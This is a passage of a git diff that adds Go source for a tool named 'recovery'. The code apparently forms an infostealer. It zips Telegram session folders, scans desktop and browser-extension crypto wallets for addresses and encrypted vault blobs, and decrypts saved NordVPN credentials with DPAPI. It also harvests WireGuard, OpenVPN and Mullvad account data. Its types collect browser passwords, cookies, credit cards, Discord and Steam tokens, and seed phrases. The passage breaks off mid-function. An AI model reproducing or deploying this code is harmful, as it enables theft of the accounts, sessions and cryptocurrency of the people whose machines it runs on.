os.Stat(tdataDir); err != nil { + continue + } + + accounts := findTelegramAccounts(tdataDir) + for _, acc := range accounts { + results = append(results, types.TelegramResult{ + Account: acc.account, + Path: acc.path, + Files: acc.files, + Size: acc.size, + }) + } + } + + return results +} + +type telegramAccount struct { + account string + path string + files int + size int64 +} + +func findTelegramAccounts(tdataDir string) []telegramAccount { + var accounts []telegramAccount + + entries, err := os.ReadDir(tdataDir) + if err != nil { + return nil + } + + hasKeyData := false + for _, e := range entries { + if !e.IsDir() && e.Name() == "key_datas" { + hasKeyData = true + break + } + } + + if hasKeyData { + files, size := countTdataFiles(tdataDir) + if files > 0 { + accounts = append(accounts, telegramAccount{ + account: "Main", + path: tdataDir, + files: files, + size: size, + }) + } + } + + for _, e := range entries { + if !e.IsDir() { + continue + } + name := e.Name() + if !isTdataSessionDir(name) { + continue + } + sessionDir := filepath.Join(tdataDir, name) + sessionEntries, err := os.ReadDir(sessionDir) + if err != nil { + continue + } + hasData := false + for _, se := range sessionEntries { + if !se.IsDir() { + hasData = true + break + } + } + if hasData { + files, size := countTdataSessionFiles(sessionDir) + accounts = append(accounts, telegramAccount{ + account: name, + path: sessionDir, + files: files, + size: size, + }) + } + } + + return accounts +} + +func countTdataFiles(tdataDir string) (int, int64) { + var count int + var totalSize int64 + + entries, err := os.ReadDir(tdataDir) + if err != nil { + return 0, 0 + } + + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] { + info, err := e.Info() + if err != nil { + continue + } + count++ + totalSize += info.Size() + } + } + + return count, totalSize +} + +func countTdataSessionFiles(dir string) (int, int64) { + var count int + var totalSize int64 + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + count++ + totalSize += info.Size() + return nil + }) + + return count, totalSize +} + +func ZipTelegram(path string) ([]byte, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return nil, os.ErrNotExist + } + + // If this is a session subfolder (hex name), just zip its contents directly + if isTdataSessionDir(filepath.Base(path)) { + return ziputil.ZipDirectory(path) + } + + // Otherwise this is the tdata root — zip key files + session subdirs + return zipTdataRoot(path) +} + +func zipTdataRoot(tdataDir string) ([]byte, error) { + entries, err := os.ReadDir(tdataDir) + if err != nil { + return nil, err + } + + var filesToZip []string + + for _, e := range entries { + name := e.Name() + if e.IsDir() { + if isTdataSessionDir(name) { + sessionDir := filepath.Join(tdataDir, name) + filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + if info.Size() < 50*1024*1024 { + filesToZip = append(filesToZip, path) + } + return nil + }) + } + } else { + if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") { + info, _ := e.Info() + if info != nil && info.Size() < 50*1024*1024 { + filesToZip = append(filesToZip, filepath.Join(tdataDir, name)) + } + } + } + } + + if len(filesToZip) == 0 { + return nil, os.ErrNotExist + } + + return ziputil.ZipFiles(filesToZip, tdataDir) +} diff --git a/native/recovery/scanner/telegram_unix.go b/native/recovery/scanner/telegram_unix.go new file mode 100644 index 0000000..70f85c0 --- /dev/null +++ b/native/recovery/scanner/telegram_unix.go @@ -0,0 +1,51 @@ +//go:build !windows + +package scanner + +import ( + "os" + "path/filepath" + "runtime" +) + +func getTelegramPaths() []telegramPathConfig { + if runtime.GOOS == "darwin" { + return []telegramPathConfig{ + {"Telegram Desktop", "Telegram Desktop/tdata", "appdata"}, + {"Kotatogram", "Kotatogram Desktop/tdata", "appdata"}, + {"64Gram", "64Gram Desktop/tdata", "appdata"}, + } + } + // Linux + return []telegramPathConfig{ + {"Telegram Desktop", "TelegramDesktop/tdata", "home_data"}, + {"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"}, + {"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"}, + {"Kotatogram", "KotatogramDesktop/tdata", "home_data"}, + {"64Gram", "64Gram Desktop/tdata", "home_data"}, + } +} + +func resolveTelegramBase(base string) string { + home, _ := os.UserHomeDir() + switch base { + case "home": + return home + case "home_data": + xdg := os.Getenv("XDG_DATA_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".local", "share") + case "appdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".config") + case "localappdata": + return filepath.Join(home, ".local", "share") + case "userprofile": + return home + } + return "" +} diff --git a/native/recovery/scanner/telegram_windows.go b/native/recovery/scanner/telegram_windows.go new file mode 100644 index 0000000..6417dc0 --- /dev/null +++ b/native/recovery/scanner/telegram_windows.go @@ -0,0 +1,27 @@ +//go:build windows + +package scanner + +import "os" + +func getTelegramPaths() []telegramPathConfig { + return []telegramPathConfig{ + {"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"}, + {"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"}, + {"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"}, + {"64Gram", `64Gram Desktop\tdata`, "appdata"}, + {"Unigram", `Unigram\$local\tdata`, "localappdata"}, + } +} + +func resolveTelegramBase(base string) string { + switch base { + case "appdata": + return os.Getenv("APPDATA") + case "localappdata": + return os.Getenv("LOCALAPPDATA") + case "userprofile": + return os.Getenv("USERPROFILE") + } + return "" +} diff --git a/native/recovery/scanner/wallets.go b/native/recovery/scanner/wallets.go new file mode 100644 index 0000000..aa6123f --- /dev/null +++ b/native/recovery/scanner/wallets.go @@ -0,0 +1,179 @@ +package scanner + +import ( + "bufio" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" +) + +type walletConfig struct { + Name string + SubPath string + Base string // "appdata", "localappdata", "userprofile", "home" +} + +var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`) +var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`) + +const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file +const maxAddresses = 50 + +func ScanWallets() []types.WalletResult { + var results []types.WalletResult + results = append(results, scanDesktopWallets()...) + results = append(results, scanBrowserWalletData()...) + return results +} + +func scanDesktopWallets() []types.WalletResult { + var results []types.WalletResult + for _, w := range getDesktopWalletPaths() { + base := resolveWalletBase(w.Base) + if base == "" { + continue + } + + dir := filepath.Join(base, w.SubPath) + info, err := os.Stat(dir) + if err != nil || !info.IsDir() { + continue + } + + files, totalSize := countDirContents(dir) + if files == 0 { + continue + } + + wr := types.WalletResult{ + Name: w.Name, + Type: "desktop", + Path: dir, + Files: files, + Size: totalSize, + } + wr.Addresses = extractAddressesFromDir(dir) + results = append(results, wr) + } + return results +} + +func scanBrowserWalletData() []types.WalletResult { + var results []types.WalletResult + for _, cfg := range browser.Browsers { + if cfg.IsFirefox { + continue + } + profiles := browser.FindProfileDirs(cfg) + for _, profile := range profiles { + lesDir := filepath.Join(profile.Path, "Local Extension Settings") + for extID, walletName := range knownWalletExtensions { + extDataDir := filepath.Join(lesDir, extID) + info, err := os.Stat(extDataDir) + if err != nil || !info.IsDir() { + continue + } + files, totalSize := countDirContents(extDataDir) + if files == 0 { + continue + } + wr := types.WalletResult{ + Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name), + Type: "extension", + Path: extDataDir, + Files: files, + Size: totalSize, + } + wr.Addresses = extractAddressesFromDir(extDataDir) + wr.VaultData = extractVaultData(extDataDir) + results = append(results, wr) + } + } + } + return results +} + +func extractAddressesFromDir(dir string) []string { + seen := make(map[string]bool) + var addrs []string + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize { + return nil + } + if len(addrs) >= maxAddresses { + return filepath.SkipAll + } + + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + + scanner := bufio.NewScanner(f) + scanner.Buffer(make([]byte, 256*1024), 256*1024) + for scanner.Scan() { + matches := ethAddrRe.FindAllString(scanner.Text(), -1) + for _, m := range matches { + addr := strings.ToLower(m) + if !seen[addr] { + seen[addr] = true + addrs = append(addrs, m) + if len(addrs) >= maxAddresses { + return filepath.SkipAll + } + } + } + } + return nil + }) + return addrs +} + +func extractVaultData(dir string) string { + var vault string + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || vault != "" { + return nil + } + ext := strings.ToLower(filepath.Ext(path)) + if ext != ".ldb" && ext != ".log" { + return nil + } + if info.Size() == 0 || info.Size() > maxFileReadSize { + return nil + } + + data, err := os.ReadFile(path) + if err != nil { + return nil + } + match := vaultRe.Find(data) + if match != nil { + vault = string(match) + return filepath.SkipAll + } + return nil + }) + return vault +} + +func countDirContents(dir string) (int, int64) { + var count int + var totalSize int64 + filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + count++ + totalSize += info.Size() + return nil + }) + return count, totalSize +} diff --git a/native/recovery/scanner/wallets_unix.go b/native/recovery/scanner/wallets_unix.go new file mode 100644 index 0000000..9bcb385 --- /dev/null +++ b/native/recovery/scanner/wallets_unix.go @@ -0,0 +1,60 @@ +//go:build !windows + +package scanner + +import ( + "os" + "path/filepath" + "runtime" +) + +func getDesktopWalletPaths() []walletConfig { + if runtime.GOOS == "darwin" { + return []walletConfig{ + {"Atomic", "atomic/Local Storage/leveldb", "appdata"}, + {"Exodus", "Exodus/exodus.wallet", "appdata"}, + {"Electrum", "Electrum/wallets", "home_dot"}, + {"Ethereum", "Ethereum/keystore", "home_dot"}, + {"Coinomi", "Coinomi/wallets", "appdata"}, + } + } + // Linux + return []walletConfig{ + {"Atomic", "atomic/Local Storage/leveldb", "config"}, + {"Exodus", "Exodus/exodus.wallet", "config"}, + {"Electrum", ".electrum/wallets", "home"}, + {"Electrum-LTC", ".electrum-ltc/wallets", "home"}, + {"Ethereum", ".ethereum/keystore", "home"}, + {"Monero", "Monero/wallets", "home"}, + {"Armory", ".armory", "home"}, + {"Bytecoin", ".bytecoin", "home"}, + {"Coinomi", ".coinomi/Coinomi/wallets", "home"}, + } +} + +func resolveWalletBase(base string) string { + home, _ := os.UserHomeDir() + switch base { + case "home", "userprofile": + return home + case "home_dot": + return filepath.Join(home, ".") + case "appdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".config") + case "config": + xdg := os.Getenv("XDG_CONFIG_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".config") + case "localappdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".local", "share") + } + return "" +} diff --git a/native/recovery/scanner/wallets_windows.go b/native/recovery/scanner/wallets_windows.go new file mode 100644 index 0000000..4d4e78f --- /dev/null +++ b/native/recovery/scanner/wallets_windows.go @@ -0,0 +1,37 @@ +//go:build windows + +package scanner + +import "os" + +func getDesktopWalletPaths() []walletConfig { + return []walletConfig{ + {"Atomic", `atomic\Local Storage\leveldb`, "appdata"}, + {"Exodus", `Exodus\exodus.wallet`, "appdata"}, + {"Electrum", `Electrum\wallets`, "appdata"}, + {"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"}, + {"Zcash", `Zcash`, "appdata"}, + {"Armory", `Armory`, "appdata"}, + {"Bytecoin", `bytecoin`, "appdata"}, + {"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"}, + {"Ethereum", `Ethereum\keystore`, "appdata"}, + {"Guarda", `Guarda\Local Storage\leveldb`, "appdata"}, + {"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"}, + {"Monero", `Documents\Monero\wallets`, "userprofile"}, + } +} + +func resolveWalletBase(base string) string { + switch base { + case "appdata": + return os.Getenv("APPDATA") + case "localappdata": + return os.Getenv("LOCALAPPDATA") + case "userprofile": + return os.Getenv("USERPROFILE") + case "home": + home, _ := os.UserHomeDir() + return home + } + return "" +} diff --git a/native/recovery/types/types.go b/native/recovery/types/types.go new file mode 100644 index 0000000..ca9a14c --- /dev/null +++ b/native/recovery/types/types.go @@ -0,0 +1,256 @@ +package types + +type BrowserConfig struct { + Name string + UserDataPath string + ProcessName string + UseAppData bool + IsFirefox bool + FlatProfile bool +} + +type ProfileInfo struct { + Name string + Path string +} + +type CollectOptions struct { + Browsers bool `json:"browsers"` + Passwords bool `json:"passwords"` + Cookies bool `json:"cookies"` + Autofill bool `json:"autofill"` + History bool `json:"history"` + Bookmarks bool `json:"bookmarks"` + CreditCards bool `json:"creditCards"` + Discord bool `json:"discord"` + Files bool `json:"files"` + Wallets bool `json:"wallets"` + Telegram bool `json:"telegram"` + Keys bool `json:"keys"` + Apps bool `json:"apps"` + Gaming bool `json:"gaming"` + VPNs bool `json:"vpns"` +} + +type ResolvedKeys struct { + V10 []byte + V20 []byte +} + +type PasswordResult struct { + URL string `json:"url"` + Username string `json:"username"` + Password string `json:"password"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type CookieResult struct { + Host string `json:"host"` + Name string `json:"name"` + Value string `json:"value"` + Path string `json:"path"` + Secure bool `json:"secure"` + HTTPOnly bool `json:"httpOnly"` + ExpiresUTC int64 `json:"expiresUtc"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type AutofillResult struct { + Name string `json:"name"` + Value string `json:"value"` + DateCreated int64 `json:"dateCreated"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type HistoryResult struct { + URL string `json:"url"` + Title string `json:"title"` + VisitTimeUnix int64 `json:"visitTimeUnix"` + VisitCount int64 `json:"visitCount"` + LastVisitTime int64 `json:"lastVisitTime"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type BookmarkResult struct { + Name string `json:"name"` + URL string `json:"url"` + Type string `json:"type"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type CreditCardResult struct { + NameOnCard string `json:"nameOnCard"` + ExpirationMonth int `json:"expirationMonth"` + ExpirationYear int `json:"expirationYear"` + CardNumber string `json:"cardNumber"` + Nickname string `json:"nickname"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type DiscordTokenResult struct { + Token string `json:"token"` + Source string `json:"source"` +} + +type FileResult struct { + Path string `json:"path"` + Name string `json:"name"` + Ext string `json:"ext"` + Size int64 `json:"size"` + Modified int64 `json:"modified"` + Dir string `json:"dir"` + Tags []string `json:"tags,omitempty"` +} + +type ExtensionResult struct { + ExtID string `json:"extId"` + Name string `json:"name"` + Version string `json:"version"` + Browser string `json:"browser"` + Profile string `json:"profile"` + Path string `json:"path"` + Category string `json:"category,omitempty"` +} + +type WalletResult struct { + Name string `json:"name"` + Type string `json:"type"` + Path string `json:"path"` + Files int `json:"files"` + Size int64 `json:"size"` + Addresses []string `json:"addresses,omitempty"` + VaultData string `json:"vaultData,omitempty"` +} + +type AppCredentialResult struct { + Application string `json:"application"` + Host string `json:"host,omitempty"` + Port int `json:"port,omitempty"` + Username string `json:"username,omitempty"` + Password string `json:"password,omitempty"` + Protocol string `json:"protocol,omitempty"` + Extra string `json:"extra,omitempty"` +} + +type CollectionResult struct { + Passwords []PasswordResult `json:"passwords,omitempty"` + Cookies []CookieResult `json:"cookies,omitempty"` + Autofill []AutofillResult `json:"autofill,omitempty"` + History []HistoryResult `json:"history,omitempty"` + Bookmarks []BookmarkResult `json:"bookmarks,omitempty"` + CreditCards []CreditCardResult `json:"creditCards,omitempty"` + DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"` + Files []FileResult `json:"files,omitempty"` + Extensions []ExtensionResult `json:"extensions,omitempty"` + Wallets []WalletResult `json:"wallets,omitempty"` + Telegram []TelegramResult `json:"telegram,omitempty"` + Keys []KeyResult `json:"keys,omitempty"` + AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"` + Gaming *GamingResult `json:"gaming,omitempty"` + VPNs *VPNResult `json:"vpns,omitempty"` + Errors []string `json:"errors,omitempty"` +} + +type TelegramResult struct { + Account string `json:"account"` + Path string `json:"path"` + Files int `json:"files"` + Size int64 `json:"size"` +} + +type KeyResult struct { + Type string `json:"type"` + Name string `json:"name"` + Path string `json:"path"` + Size int64 `json:"size"` + Content string `json:"content,omitempty"` +} + +type SeedResult struct { + Source string `json:"source"` + Path string `json:"path"` + Phrase string `json:"phrase"` + Words int `json:"words"` +} + +type GameInfo struct { + ID string `json:"id"` + Name string `json:"name"` + Installed bool `json:"installed"` + Running bool `json:"running"` +} + +type SteamResult struct { + SteamPath string `json:"steamPath,omitempty"` + AutoLogin string `json:"autoLogin,omitempty"` + RememberPW bool `json:"rememberPw,omitempty"` + Account string `json:"account,omitempty"` + Token string `json:"token,omitempty"` + SSFNFiles []string `json:"ssfnFiles,omitempty"` + Games []GameInfo `json:"games,omitempty"` +} + +type BattleNetResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type EpicResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type RiotResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type UplayResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type GamingResult struct { + Steam *SteamResult `json:"steam,omitempty"` + BattleNet []BattleNetResult `json:"battleNet,omitempty"` + Epic []EpicResult `json:"epic,omitempty"` + Riot []RiotResult `json:"riot,omitempty"` + Uplay []UplayResult `json:"uplay,omitempty"` +} + +type NordVPNResult struct { + Version string `json:"version"` + Username string `json:"username"` + Password string `json:"password"` +} + +type WireGuardResult struct { + Name string `json:"name"` + Interface string `json:"interface,omitempty"` + Peer string `json:"peer,omitempty"` + Endpoint string `json:"endpoint,omitempty"` +} + +type OpenVPNResult struct { + Name string `json:"name"` + Path string `json:"path"` +} + +type MullvadResult struct { + AccountNumber string `json:"accountNumber"` + SettingsPath string `json:"settingsPath"` + Content string `json:"content,omitempty"` +} + +type VPNResult struct { + NordVPN []NordVPNResult `json:"nordvpn,omitempty"` + WireGuard []WireGuardResult `json:"wireguard,omitempty"` + OpenVPN []OpenVPNResult `json:"openvpn,omitempty"` + Mullvad []MullvadResult `json:"mullvad,omitempty"` +} diff --git a/native/recovery/vpn_stub.go b/native/recovery/vpn_stub.go new file mode 100644 index 0000000..c124c26 --- /dev/null +++ b/native/recovery/vpn_stub.go @@ -0,0 +1,186 @@ +//go:build !windows + +package recovery + +import ( + "encoding/json" + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +func ScanVPNs() *types.VPNResult { + result := &types.VPNResult{ + WireGuard: scanWireGuardUnix(), + OpenVPN: scanOpenVPNUnix(), + Mullvad: scanMullvadUnix(), + } + if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 { + return nil + } + return result +} + +func scanWireGuardUnix() []types.WireGuardResult { + var results []types.WireGuardResult + + configDirs := []string{"/etc/wireguard"} + if runtime.GOOS == "darwin" { + configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard") + } + home, _ := os.UserHomeDir() + if home != "" { + configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard")) + } + + for _, configDir := range configDirs { + if !pathExists(configDir) { + continue + } + entries, err := os.ReadDir(configDir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") { + continue + } + filePath := filepath.Join(configDir, e.Name()) + confData, err := os.ReadFile(filePath) + if err != nil || len(confData) == 0 { + continue + } + + var iface, peer, endpoint string + for _, line := range strings.Split(string(confData), "\n") { + line = strings.TrimSpace(line) + if key, val, ok := strings.Cut(line, "="); ok { + key = strings.TrimSpace(key) + val = strings.TrimSpace(val) + switch key { + case "Address": + iface = val + case "Endpoint": + endpoint = val + case "PublicKey": + if peer == "" { + peer = val + } + } + } + } + + results = append(results, types.WireGuardResult{ + Name: e.Name(), + Interface: iface, + Peer: peer, + Endpoint: endpoint, + }) + } + } + + return results +} + +func scanOpenVPNUnix() []types.OpenVPNResult { + var results []types.OpenVPNResult + home, _ := os.UserHomeDir() + + ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"} + if home != "" { + ovpnDirs = append(ovpnDirs, + filepath.Join(home, ".config", "openvpn"), + filepath.Join(home, "OpenVPN", "config"), + ) + if runtime.GOOS == "darwin" { + ovpnDirs = append(ovpnDirs, + filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"), + ) + } + } + + for _, ovpnDir := range ovpnDirs { + if !pathExists(ovpnDir) { + continue + } + entries, err := os.ReadDir(ovpnDir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") { + continue + } + results = append(results, types.OpenVPNResult{ + Name: e.Name(), + Path: filepath.Join(ovpnDir, e.Name()), + }) + } + } + + return results +} + +func scanMullvadUnix() []types.MullvadResult { + var results []types.MullvadResult + + configDirs := []string{"/etc/mullvad-vpn"} + home, _ := os.UserHomeDir() + if home != "" { + if runtime.GOOS == "darwin" { + configDirs = append(configDirs, + filepath.Join(home, "Library", "Application Support", "Mullvad VPN"), + ) + } else { + configDirs = append(configDirs, + filepath.Join(home, ".config", "Mullvad VPN"), + ) + } + } + + for _, dir := range configDirs { + if !pathExists(dir) { + continue + } + for _, name := range []string{"settings.json", "account-history.json"} { + path := filepath.Join(dir, name) + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + continue + } + var raw map[string]json.RawMessage + if json.Unmarshal(data, &raw) != nil { + var token string + if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) { + results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + } + continue + } + for _, key := range []string{"account_token", "accountToken", "account_number", "account"} { + v, ok := raw[key] + if !ok { + continue + } + var token string + if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) { + results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + break + } + } + } + } + + return results +} + +func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool { + for _, r := range results { + if r.AccountNumber == account { + return true + } + } + return false +} diff --git a/native/recovery/vpn_windows.go b/native/recovery/vpn_windows.go new file mode 100644 index 0000000..703d9ea --- /dev/null +++ b/native/recovery/vpn_windows.go @@ -0,0 +1,390 @@ +//go:build windows + +package recovery + +import ( + "encoding/base64" + "encoding/json" + "os" + "path/filepath" + "strings" + + "recovery/recovery/platform" + "recovery/recovery/types" +) + +func ScanVPNs() *types.VPNResult { + result := &types.VPNResult{ + NordVPN: scanNordVPN(), + WireGuard: scanWireGuard(), + OpenVPN: scanOpenVPN(), + Mullvad: scanMullvad(), + } + if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 { + return nil + } + return result +} + +func scanNordVPN() []types.NordVPNResult { + var results []types.NordVPNResult + + nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN") + logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir)) + if !pathExists(nordDir) { + return nil + } + + entries, err := os.ReadDir(nordDir) + if err != nil { + return nil + } + + for _, e := range entries { + if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") { + continue + } + + versionsDir := filepath.Join(nordDir, e.Name()) + subEntries, _ := os.ReadDir(versionsDir) + + for _, sub := range subEntries { + if !sub.IsDir() { + continue + } + configPath := filepath.Join(versionsDir, sub.Name(), "user.config") + if !pathExists(configPath) { + continue + } + + data, err := os.ReadFile(configPath) + if err != nil || len(data) == 0 { + continue + } + + username := extractNordVPNValue(data, "Username") + password := extractNordVPNValue(data, "Password") + + if username != "" && password != "" { + results = append(results, types.NordVPNResult{ + Version: e.Name(), + Username: username, + Password: password, + }) + } + } + } + + return results +} + +func extractNordVPNValue(data []byte, field string) string { + content := string(data) + idx := strings.Index(content, `name="`+field+`"`) + if idx == -1 { + return "" + } + + start := strings.Index(content[idx:], "") + end := strings.Index(content[idx:], "") + if start == -1 || end == -1 || end < start { + return "" + } + + raw := content[idx+start+7 : idx+end] + decoded, err := base64.StdEncoding.DecodeString(raw) + if err != nil { + return raw + } + + plaintext, err := dpapiDecrypt(decoded, nil) + if err != nil || len(plaintext) == 0 { + return raw + } + + return strings.TrimRight(string(plaintext), "\x00") +} + +func scanWireGuard() []types.WireGuardResult { + var results []types.WireGuardResult + + configDirs := []string{ + `C:\Program Files\WireGuard\Data\Configurations`, + filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"), + } + + for _, configDir := range configDirs { + logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir)) + if !pathExists(configDir) { + continue + } + + entries, err := os.ReadDir(configDir) + if err != nil { + continue + } + logf("[vpn] WireGuard dir has %d entries", len(entries)) + + for _, e := range entries { + if e.IsDir() { + continue + } + + name := e.Name() + ext := strings.ToLower(filepath.Ext(name)) + filePath := filepath.Join(configDir, name) + + var confData []byte + + if ext == ".dpapi" { + confData, err = dpapiDecryptFile(filePath) + name = strings.TrimSuffix(name, ".dpapi") + } else if ext == ".conf" { + confData, err = os.ReadFile(filePath) + } else { + continue + } + + if err != nil || len(confData) == 0 { + continue + } + + var iface, peer, endpoint string + for _, line := range normLines(string(confData)) { + line = strings.TrimSpace(line) + if key, val, ok := strings.Cut(line, "="); ok { + key = strings.TrimSpace(key) + val = strings.TrimSpace(val) + switch key { + case "Address": + iface = val + case "Endpoint": + endpoint = val + case "PublicKey": + if peer == "" { + peer = val + } + } + } + } + + results = append(results, types.WireGuardResult{ + Name: name, + Interface: iface, + Peer: peer, + Endpoint: endpoint, + }) + } + } + + return results +} + +func dpapiDecryptFile(path string) ([]byte, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + return dpapiDecrypt(data, nil) +} + +func scanOpenVPN() []types.OpenVPNResult { + var results []types.OpenVPNResult + + ovpnDirs := []string{ + filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"), + filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"), + } + + for _, ovpnDir := range ovpnDirs { + logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir)) + if !pathExists(ovpnDir) { + continue + } + + entries, err := os.ReadDir(ovpnDir) + if err != nil { + continue + } + logf("[vpn] OpenVPN dir has %d entries", len(entries)) + + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") { + continue + } + results = append(results, types.OpenVPNResult{ + Name: e.Name(), + Path: filepath.Join(ovpnDir, e.Name()), + }) + } + } + + return results +} + +func scanMullvad() []types.MullvadResult { + var results []types.MullvadResult + + mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe") + + systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN` + logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile)) + if pathExists(systemProfile) { + sysSettings := filepath.Join(systemProfile, "settings.json") + logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings)) + mullvadTryJSON(&results, sysSettings) + + sysAcctHistory := filepath.Join(systemProfile, "account-history.json") + logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory)) + mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids) + } + + daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json") + logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings)) + mullvadTryJSON(&results, daemonSettings) + + guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN") + logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir)) + if pathExists(guiDir) { + guiSettings := filepath.Join(guiDir, "gui_settings.json") + logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings)) + mullvadTryJSON(&results, guiSettings) + + lsDir := filepath.Join(guiDir, "Local Storage", "leveldb") + logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir)) + if pathExists(lsDir) { + mullvadScanLevelDB(&results, lsDir, guiDir) + } + } + + acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json") + logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory)) + mullvadReadAccountHistory(&results, acctHistory, mullvadPids) + + legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad` + logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath)) + if pathExists(legacyPath) { + if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 { + var account string + if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 { + account = strings.TrimRight(string(decrypted), "\x00") + } + if account == "" { + for _, line := range normLines(strings.TrimSpace(string(data))) { + line = strings.TrimSpace(line) + if line != "" { + account = line + break + } + } + } + if account != "" && !mullvadAlreadyFound(results, account) { + results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath}) + } + } + } + + return results +} + +func mullvadTryJSON(results *[]types.MullvadResult, path string) { + if !pathExists(path) { + return + } + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + return + } + var raw map[string]json.RawMessage + if json.Unmarshal(data, &raw) != nil { + return + } + for _, key := range []string{"account_token", "accountToken", "account_number", "account"} { + v, ok := raw[key] + if !ok { + continue + } + var token string + if json.Unmarshal(v, 